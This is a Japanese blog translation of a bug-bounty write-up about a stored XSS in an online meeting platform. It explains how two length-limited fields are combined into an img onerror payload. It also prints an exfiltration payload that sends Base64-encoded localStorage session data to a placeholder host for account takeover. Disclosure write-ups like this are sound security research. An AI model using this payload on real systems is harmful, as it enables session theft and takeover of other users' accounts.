Shikata Ga Nai

Private? There is no such things.

Bypassing Character Limit - XSS Using Spanned Payloadを訳してみた

Hello there, ('ω')ノ

 

文字数制限のバイパス - スパンされたペイロードを使用した XSSを。

 

脆弱性:

 XSS

 アカウント乗っ取り

 

記事:

 https://infosecwriteups.com/bypassing-character-limit-xss-using-spanned-payload-7301ffac226e

 

ターゲットを知る (初期偵察:マッピング機能)

ターゲットを使い始めるときに最初にすることは、ターゲットが何のために

作られているか、誰かが Web アプリケーションをどのように使用しているか、

どのような機能を持っているかなど、ターゲットを学習することで。


Web サイトは、見栄えの良い UI を備えたプレゼンテーションや

オンライン ミーティングに使用され。

1 つの会議には 1000 人の参加者が参加でき。

モデレーター、プレゼンター、参加者、ゲストの 4 つのユーザ ロールがあり。

完全な Web サイトは、JS を使用してクライアント側で動的に読み込まれて。

 

他のすべての機能とともに、ユーザの役割を比較しているときに目を引いたのは、

モデレータの役割には通知と呼ばれる追加機能があったことで。

そして、別の場所に反映される可能性のある他のいくつかのユーザ入力が

既にありましたが、それらには運がなく。

 

容疑者を突く

そこに通知を送信すると、ユーザの名がフィルタリングされずに

通知ポップアップに反映されていることがわかり。

First name フィールドにペイロードを挿入しようとしたところ、

15 文字しか許可されておらず、そこでは <script> が機能しないため、

それを悪用する方法がなく。

通知の本文では、山かっこ <> を使用できず。

 

 

文字数制限を突破してポップアップを実現:

FNAME — 管理部分はフィルタリングされておらず、特殊文字を使用でき、

通知本文は最大 88 文字まで完全にフィルタリングされて。

これをスクロールしているときに思いついたのですが、

両方を1つとして使用することはできないか。

 

FNAMEは特殊文字を許可し、同時に入力を15文字に制限したため、

一度にそれを使用することはできず。

<img src=' を FNAME 入力に挿入し、-Admin</span>…</div> からの部分を

その一重引用符の中に入れることで。

また、途中に一重引用符がなかったため、発生せず。

 

では、ポップアップの要点に。

通知の本文では一重引用符と二重引用符が許可されていたので、

通知の本文を一重引用符で開始し、img タグの src 属性内の FNAME の後に

コンテンツを囲み。

これらのタグは存在しないイメージのソースであるため、

src の値は false になり、エラーが発生し。

ここで onerror が再生されて。

本文の単一引用符の後に onerror=alert() を挿入すると、全体が次のようになって。

 

 

ブラウザはそれ自体でalert()の周りに“”を追加し、

注入後にクライアント側で引用符を自動的に調整して、

ポップアップアラートにつながる独自の変更を加えて。

 

 

アカウント乗っ取りのためのデータ流出:

これは、すべてのセッション情報を格納するために LocalStorage を使用していて。

そのため、データをサーバに盗み出す必要があり。

セッション値にいくつかの URL フラグメントまたは # があり、

GET パラメータを使用したデータの引き出しを中断して。

 

通知本文の文字数制限のため、encodeURIComponent() を使用できず。

代替手段をしばらく探した後、最終的に btoa() を使用して、

Base64 でエンコードされたバージョンの LocalStorage を盗み出し。

本文で使用されるペイロードは次のとおりで。

 

 ‘ onerror=’new Image().src=`//127.0.0.1/?s=${btoa(JSON.stringify(localStorage))}`’

 

onerror がトリガされると、その会議に参加していた被害者の

LocalStorage データを含むリクエストがサーバに送信されて。

 

Best regards, (^^ゞ